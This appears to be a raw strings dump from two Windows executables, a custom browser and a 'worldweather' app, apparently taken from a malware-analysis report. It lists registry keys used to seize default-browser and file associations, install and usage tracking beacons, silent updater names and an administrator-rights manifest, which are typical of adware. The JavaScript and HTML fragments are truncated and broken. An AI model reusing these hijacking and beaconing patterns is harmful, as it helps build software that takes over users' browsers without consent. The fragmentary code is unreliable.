'TypeLib' = s '{14264AA3-BB53-4d3a-89DE-05AD67D6D6C6}'

'TypeLib' = s '{14264AA3-BB53-4d3a-89DE-05AD67D6D6C6}'

version="1.0.0.0"

version="1.0.0.0"

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

Config.dll

Config.dll

<gesture action="U" cmd="9" title="</pre><pre>" /><gesture action="D" cmd="10" title="</pre><pre>" /><gesture action="R" cmd="1" title="</pre><pre>" /><gesture action="L" cmd="0" title="</pre><pre>" /><gesture action="DR" cmd="20" title="</pre><pre>" /><gesture action="UD" cmd="2" title="</pre><pre>E<gesture action=" U><pre>%s-Bar%d</pre><pre>%s-DockBar%d</pre><pre>%s-Summary</pre><pre>MRUDockLeftPos</pre><pre>Bar#%d</pre><pre>%s-Controls</pre><pre>F%s-Options</pre><pre>Pane-%d</pre><pre>\collect_s.dat</pre><pre>\collect_o.dat</pre><pre>\collect_t.dat</pre><pre>collect_o.dat</pre><pre>[d/d-d:d:d]</pre><pre>User32.DLL</pre><pre>ftp://</pre><pre>https://</pre><pre>config.ini</pre><pre>search1.taobao.com</pre><pre>search8.taobao.com</pre><pre>taobao.com/browse/search_auction.htm?</pre><pre>baidu.com/baidu?</pre><pre>daidu.com/s?</pre><pre>.edu.</pre><pre>.org.</pre><pre>.net.</pre><pre>.com.</pre><pre>.edu/</pre><pre>.org/</pre><pre>.net/</pre><pre>.com/</pre><pre>https://www.</pre><pre>http://www.</pre><pre>IEXPLORE.EXE</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mhtml\UserChoice</pre><pre>IE.AssocFile.MHT</pre><pre>IE.AssocFile.HTM</pre><pre>IE.HTTPS</pre><pre>IE.HTTP</pre><pre>IE.FTP</pre><pre>\Internet Explorer\IEXPLORE.EXE</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.mht\UserChoice</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice</pre><pre>Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice</pre><pre>Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice</pre><pre>Software\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice</pre><pre>iie.HTTP</pre><pre>iie.HTTP\shell</pre><pre>ftp\shell</pre><pre>https\shell</pre><pre>http\shell</pre><pre>CLSID\{0002DF01-0000-0000-C000-000000000046}\LocalServer32</pre><pre>.shtml</pre><pre>.shtm</pre><pre>.mhtml</pre><pre>.html</pre><pre>%s\%s</pre><pre>%s\%s\command</pre><pre>"%s" %%1</pre><pre>Internet Explorer\iexplore.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion</pre><pre>durlmon.dll</pre><pre><li><a href="%s" target="_blank">%s</a></li></pre><pre>http://www.biso.cc/ld/stat.asp?install</pre><pre>%s\Common Files\stat.dat</pre><pre>http://www.biso.cc/ld/stat.php?uninstal</pre><pre>http://www.biso.cc/ld/stat.asp?open</pre><pre>Software\Microsoft\WindowsLive</pre><pre>CommandBars.ini</pre><pre>start/index.html</pre><pre>file:///%sprofile/Template/</pre><pre>\Unblocksite.dat</pre><pre>webprx</pre><pre>saveKeyword</pre><pre>oleaut32.dll</pre><pre>%d-%s</pre><pre>https</pre><pre>http:</pre><pre>navcancl.htm#</pre><pre><script language="JavaScript"> document.body.style.zoom="%d%%"; </script></pre><pre>var i = parseInt(document.body.style.zoom);</pre><pre>if(isNaN(i))i=100; if(i<0)i=0; if(i==19)i=18; newZoom=i 10 '%'; document.body.style.zoom=newZoom; <script></pre><pre>if(isNaN(i))i=100; if(i<18)i=18; newZoom=i-10 '%'; document.body.style.zoom=newZoom; </script></pre><pre>\/:*?"<>|</pre><pre>MSWHEEL_ROLLMSG</pre><pre>RSRC32.dll</pre><pre>Software\Microsoft\Internet Explorer\TypedUrls</pre><pre>Software\Microsoft\Windows\CurrentVersion\Internet Settings</pre><pre>unbock_%d</pre><pre>block_%d</pre><pre>blockage.ini</pre><pre>url_unblock_count</pre><pre>url_block_count</pre><pre>key_0</pre><pre>key_%d</pre><pre>searchkeys.ini</pre><pre>shdocvw.dll</pre><pre>windows-874</pre><pre>windows-1258</pre><pre>windows-1257</pre><pre>windows-1256</pre><pre>windows-1255</pre><pre>windows-1254</pre><pre>windows-1253</pre><pre>windows-1251</pre><pre>windows-1250</pre><pre>www.g-leaf.cn</pre><pre>%s - %s</pre><pre>url_%d</pre><pre>title_%d</pre><pre>last.ini</pre><pre>.com.cn</pre><pre>HOTKEYSET</pre><pre>.ZIP;.RAR;.EXE</pre><pre>bosskey</pre><pre>http://%u.%u.</pre><pre>http://www.baidu.com/s?wd=%s&tt=</pre><pre>d:d:d</pre><pre>.jpeg</pre><pre>Software\Microsoft\Internet Explorer\ActiveX Compatibility\{D27CDB6E-AE6D-11cf-96B8-444553540000}</pre><pre>%download_info</pre><pre>%download_url</pre><pre>function cancelError() {return true;} onerror=cancelError;function newpropertychange(){var name = event.propertyName.toLowerCase();var elem = event.srcElement;if( name.indexOf('left')>-1||name.indexOf('top')>-1||name.indexOf('move')>-1){ try{ elem.onpropertychange = null; elem.style.visibility = 'hidden'; elem.srcElement.removeNode(true); }catch(e){} }}function killobj(doc,obj){var objs=doc.document.getElementsByTagName(obj);for (var i=0;i<objs><pre>Resource\KillFlyAd.htm</pre><pre>function cancelError() {return true;} onerror=cancelError;var i,len,src,img;len=document.images.length;for(i=0;i<len><pre>function cancelError() {return true;} onerror=cancelError;function killTag(tagName){var url;var objs=document.getElementsByTagName(tagName);for(i=0;i<objs><pre>o%s\profile\SearchEngine\%s</pre><pre>mskin.ini</pre><pre>%s%s\%s</pre><pre>Language\*.dll</pre><pre>iiedata.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites\</pre><pre>Proxy%d_</pre><pre>proxy.ini</pre><pre>%d_ico</pre><pre>%d_title</pre><pre>profile\SearchEngine\config.ini</pre><pre>www.daidu.com</pre><pre>MenuClose.Hover</pre><pre>MenuMaximum.Hover</pre><pre>MenuRestore.Hover</pre><pre>MenuMinimize.Hover</pre><pre>SkinSelect.Hover</pre><pre>TabSidebar.Hover</pre><pre>Search.Hover</pre><pre>Go.Hover</pre><pre>Home.Offset</pre><pre>Home.Hover</pre><pre>Undo.Offset</pre><pre>Undo.Disable</pre><pre>Undo.Hover</pre><pre>Stop.Offset</pre><pre>Stop.Hover</pre><pre>Refresh.Offset</pre><pre>Refresh.Hover</pre><pre>HistoryMenu.Offset</pre><pre>HistoryMenu.Hover</pre><pre>HistoryMenu.Disable</pre><pre>Forward.Offset</pre><pre>Forward.Hover</pre><pre>Forward.Disable</pre><pre>Back.Offset</pre><pre>Back.Hover</pre><pre>Back.Disable</pre><pre>SideClose.Hover</pre><pre>Thumb.Hover.Image</pre><pre>Thumb.Normal.Image</pre><pre>Background.Hover.Image</pre><pre>Background.Normal.Image</pre><pre>Foreground.Image</pre><pre>Progress.Image</pre><pre>StatusBar.Image</pre><pre>InactiveBackground.Image</pre><pre>Background.Image</pre><pre>Split.Hover</pre><pre>Split.Disable</pre><pre>TabNew.Hover</pre><pre>AutoHidePaneBackground.Fill.ColorEnd</pre><pre>AutoHidePaneBackground.Fill.ColorStart</pre><pre>BlockBarBackground.Fill.ColorEnd</pre><pre>BlockBarBackground.Fill.ColorStart</pre><pre>TreeCtrl.Fill.ColorEnd</pre><pre>TreeCtrl.Fill.ColorStart</pre><pre>Tab.InsertSign</pre><pre>Tab.Active.Text</pre><pre>Tab.Hover.Text</pre><pre>Tab.Normal.Text</pre><pre>ToolBar.Style</pre><pre>Menu.Border</pre><pre>Menu.Disable.Text</pre><pre>Menu.Normal.Text</pre><pre>Toolbar.Gripper.ShadowColor</pre><pre>Toolbar.Gripper.Color</pre><pre>Toolbar.Gripper.Width</pre><pre>Toolbar.Gripper.Style</pre><pre>ComboBox.Disable.text</pre><pre>ComboBox.Text</pre><pre>Toolbar.Disable.Text</pre><pre>Toolbar.Normal.Text</pre><pre>Menu.Separator.ShadowColor</pre><pre>Menu.Separator.Color</pre><pre>Menu.Separator.Offset</pre><pre>Menu.Separator.Width</pre><pre>MenuItem.Hover.Image</pre><pre>FavToolBar.Fill.ColorEnd</pre><pre>FavToolBar.Fill.ColorStart</pre><pre>FloatBar.Fill.ColorEnd</pre><pre>FloatBar.Fill.ColorStart</pre><pre>Menu.Fill.ColorEnd</pre><pre>Menu.Fill.ColorStart</pre><pre>Menu.Image</pre><pre>Menu.Style</pre><pre>TitleBackground.Fill.ColorEnd</pre><pre>TitleBackground.Fill.ColorStart</pre><pre>TitleBackground.Image</pre><pre>TitleBackground.Style</pre><pre>Tab.Hover.Image</pre><pre>Tab.Active.Image</pre><pre>Tab.Normal.Image</pre><pre>TabBackground.Fill.ColorEnd</pre><pre>TabBackground.Fill.ColorStart</pre><pre>TabBackground.Image</pre><pre>TabBackground.Style</pre><pre>Button.Checked.Image</pre><pre>Button.Pressed.Image</pre><pre>Button.Hover.Image</pre><pre>Caption.Text</pre><pre>MainPanel.Fill.ColorEnd</pre><pre>MainPanel.Fill.ColorStart</pre><pre>MainPanel.Image</pre><pre>MainPanel.Style</pre><pre>Edit.Height</pre><pre>CustomFrame.CornerRadius</pre><pre>CustomFrame.CornerSize</pre><pre>CustomFrame.Image</pre><pre>%s.Stretch</pre><pre>%s.EndOffset</pre><pre>%s.StartOffset</pre><pre>%s.ExtendSpace</pre><pre>%s.Offset</pre><pre>%s.DrawBackground</pre><pre>%s.Hover</pre><pre>\updatelog.txt</pre><pre>update.exe</pre><pre>Element '%s' at offset %d not ended</pre><pre>End tag '%s' at offset %d does not match start tag '%s' at offset %d</pre><pre>No start tag for end tag '%s' at offset %d</pre><pre>%s at offset %d unterminated</pre><pre>Incorrect %s at offset %d</pre><pre>.The file (%s) aleady exists.</pre><pre>COMCTL32.DLL</pre><pre>User32.dll</pre><pre>user32.dll</pre><pre>oleacc.dll</pre><pre>%s-%s</pre><pre>KeyboardCuesShow</pre><pre>KeyboardCuesUse</pre><pre>AlwaysShowFullMenus</pre><pre>msimg32.dll</pre><pre>winxp.royale.cjstyles</pre><pre>royale.msstyles</pre><pre>winxp.luna.cjstyles</pre><pre>luna.msstyles</pre><pre>WindowRectLeftPos</pre><pre>Right Windows</pre><pre>Left Windows</pre><pre>dUxTheme.dll</pre><pre>Ldwmapi.dll</pre><pre>CONTEXTTAB%s</pre><pre>CONTEXTTAB%sCLIENT</pre><pre>CONTEXTTAB%sGROUPBUTTON</pre><pre>ContextTab%sHeader</pre><pre>%Y-%d-%mT%H:%M:%S</pre><pre>%Y-%d-%m</pre><pre>%H:%M:%S</pre><pre>wID=X, cx=%d, fStyle=X</pre><pre>%i %s</pre><pre>1&0 %s</pre><pre>&%i %s</pre><pre>shell32.dll</pre><pre>OFFICE2007\SCROLLTHUMBHORIZONTAL.BMP</pre><pre>OFFICE2007\SCROLLTHUMBVERTICAL.BMP</pre><pre>OFFICE2007\SCROLLARROWSVERTICALDARK.BMP</pre><pre>OFFICE2007\SCROLLARROWSVERTICALLIGHT.BMP</pre><pre>OFFICE2007\SCROLLARROWSHORIZONTALDARK.BMP</pre><pre>OFFICE2007\SCROLLARROWSHORIZONTALLIGHT.BMP</pre><pre>OFFICE2007\SCROLLVERTICALDARK.BMP</pre><pre>OFFICE2007\SCROLLHORIZONTALDARK.BMP</pre><pre>OFFICE2007\SCROLLVERTICALLIGHT.BMP</pre><pre>OFFICE2007\SCROLLHORIZONTALLIGHT.BMP</pre><pre>OFFICE2007\SCROLLARROWGLYPHS.BMP</pre><pre>WindowsForms</pre><pre>SHLWAPI.DLL</pre><pre>USER32.DLL</pre><pre>KERNEL32.DLL</pre><pre>FRAMECAPTION%s%i</pre><pre>0000..\\updata.exe</pre><pre>(Windows)</pre><pre>:http://127.0.0.1:80</pre><pre>&Windows sockets initialization failed.</pre><pre>!.Icon Files (*.ico)|*.ico|All Files (*.*)|*.*||</pre><pre>|*.htm;*.html|</pre><pre>|*.txt|GIF</pre><pre>|*.gif|JPEG</pre><pre>|*.jpg;*.jpeg|AU</pre><pre>|*.au|AIFF</pre><pre>|*.aif;*.aiff|XBM</pre><pre>|*.xbm|</pre><pre>|*.*||!</pre><pre>(*.txt)|*.txt|</pre><pre>(*.*)|*.*||</pre><pre>(*.exe)|*.exe|</pre><pre>(*.*)|*.*||</pre><pre>IE.Document</pre><pre>IE Files (*.htm,*.html)</pre><pre>Input URL:</pre><pre>0, 1, 1, 982</pre><pre>GreenDou1.exe</pre><b>worldweather.exe_2452:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>MSVBVM60.DLL</pre><pre>%Z%FG2F1</pre><pre>VB5!6&vb6chs.dll</pre><pre>CMsgTrans</pre><pre>GdiplusShutdown</pre><pre>gdi32.dll</pre><pre>user32.dll</pre><pre>%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB</pre><pre>wininet.dll</pre><pre>DeleteUrlCacheEntry</pre><pre>mfc5002.dll</pre><pre>kernel32.dll</pre><pre>shell32.dll</pre><pre>user32.dll</pre><pre>orldweather5.0.0</pre><pre>sqliteApi.dll</pre><pre>Sqlite_QueryCityID</pre><pre>VBA6.DLL</pre><pre>[fjbntbpvdqyZgocnvcnvcludmvdnudnucoucoubntcoucoufrx^jpiu{htz_kqdpveqw`lrcou]iofrxhtzdpv`lr`lreqw\hnfrxkw}amscoueqwfrxcoueqwcoudpvbntcoucoucoubntbntcoucoubntbnteqw_kqbntiu{`lrWcihtz</pre><pre>msgID</pre><pre><assemblyIdentity version="1.1.0.2" processorArchitecture="x86" name="worldweather.exe" type="win32"></assemblyIdentity></pre><pre><description>worldweather.exe</description></pre><pre><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel></pre><pre>D:\everyday\36</pre><pre>>cmd=[</pre><pre>Cfg5002.ini</pre><pre>worldWeatherRealTime5002.exe</pre><pre>http://tongji.uujzy.com/tongji.html</pre><pre>WeatherContext\WeatherContext.db</pre><pre>http://</pre><pre><port></port></pre><pre></pre><pre>?5.0.0.5002_id</pre><pre>?5.0.0.5002_md</pre><pre>AQI.5002.exe</pre><pre>PM25.5002.exe</pre><pre>PM10.5002.exe</pre><pre>tongjizxDataby51la>TongjiUrl=</pre><pre>>port=</pre><pre>Timer_Timer(0)>10>AlreadyHasExecSplitData</pre><pre>Timer_Timer(0)>10>tmr45stoExecSplitData</pre><pre>worldWeatherUpdate.5002.exe</pre><pre>Timer_Timer(5)>readyto>doactiveExecSplitData</pre><pre>skins\default\bg_small.png</pre><pre>skins\default\bg_large.png</pre><pre>skins\common\loading.png</pre><pre>http://weather.uujzy.com:8123/tt.php?id=****</pre><pre>http://sj.tianqi.com/index.php?c=other&a=apppc&id=****</pre><pre>http://i.tianqi.com/index.php?c=other&a=apppc&id=****</pre><pre>http://pm25.uujzy.com:8123/data/****.js</pre><pre>http://www.pm25.in/****</pre><pre>http://weather51la.cnzz.uujzy.com/cnzz/weather/5.0.0.5002/</pre><pre>GetCityIDFromWeatherDBbyIPAndMC>gWeatherUrl,gWeatherUrlBf1=</pre><pre>GetCityIDFromWeatherDBbyIPAndMC>gWeatherUrlBf2=</pre><pre>GetCityIDFromWeatherDBbyIPAndMC>gWeatherUrlBf3=</pre><pre>weatherData.tmp</pre><pre>\n99.png</pre><pre>areacode.db</pre><pre>GetWeatherAQIData>sAQIUrl></pre><pre>skins\common\kz.png</pre><pre>Adodb.Stream</pre><pre>Microsoft.XMLHTTP</pre><pre>Pm2.5MK.exe</pre><pre>needshowpm25data>readyRunExecFile></pre><pre>needshowpm25data>notExistExecFile></pre><pre>AQIContext\AQIContext.db</pre><pre>tryToConnectWeatherService>gWeatherPngUrl=</pre><pre>ConnectWeatherServiceBkInfo>queryifnetactive_Error>tmrtorequerybynexturl>iLoadWeatherFail=</pre><pre>worldWeatherUpdate.5002.exe.tmp</pre><pre>>ReadyTimertoTryNextUrl</pre><pre>cnzz.html</pre><pre>ConnectWeatherServiceBkInfo>loadweatherData_Fail>tmrtorequerybynexturl>iLoadWeatherFail=</pre><pre>tryToConnectWeatherService>beginQueryIfReceiveNetStateMsgIn1min</pre><pre>skins\common\err.png</pre><pre>updatedata/worldWeatherUpdate.5002.exe</pre><pre>QueryIfHaveHighVersion>FindNoUpdateUrl>cancel</pre><pre>debug_main.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\</pre><pre>HookMsg></pre><pre>UnhookMsg></pre><pre>Microsoft Windows NT 4.0</pre><pre>weather.db</pre><pre>Sqlite_QueryCityID></pre><pre>skins\default\btn_close.jpg</pre><pre>skins\default\btn_max.jpg</pre><pre>skins\default\btn_min.jpg</pre><pre>skins\default\btn_setting.jpg</pre><pre>skins\default\btn_move.jpg</pre><pre>.wServicePackMajor:</pre><pre>.wServicePackMinor:</pre><pre>.wSuiteMask:</pre><pre>.wProductType:</pre><pre>Microsoft Windows 95</pre><pre>Microsoft Windows 98</pre><pre>Microsoft Windows Me</pre><pre>Windows 2000 Data center</pre><pre>Windows 2000 Advanced</pre><pre>Windows 2000</pre><pre>Windows XP Professional</pre><pre>Windows XP Home</pre><pre>Windows XP</pre><pre>Windows Server 2003 Enterprise</pre><pre>Windows Server 2003 Data center</pre><pre>Windows Server 2003 Web Edition</pre><pre>Windows Server 2003 Standard</pre><pre>Windows Server 2003</pre><pre>Windows Vista</pre><pre>Windows Server 2008</pre><pre>Microsoft Windows 7</pre><pre>Windows Server 2008 R2</pre><pre>Microsoft Windows 8</pre><pre>GetwindowsVersion></pre><pre>world.cn</pre><pre>5.00.5002</pre><pre>worldweather.exe</pre></objs></pre></len></pre></objs></pre></gesture>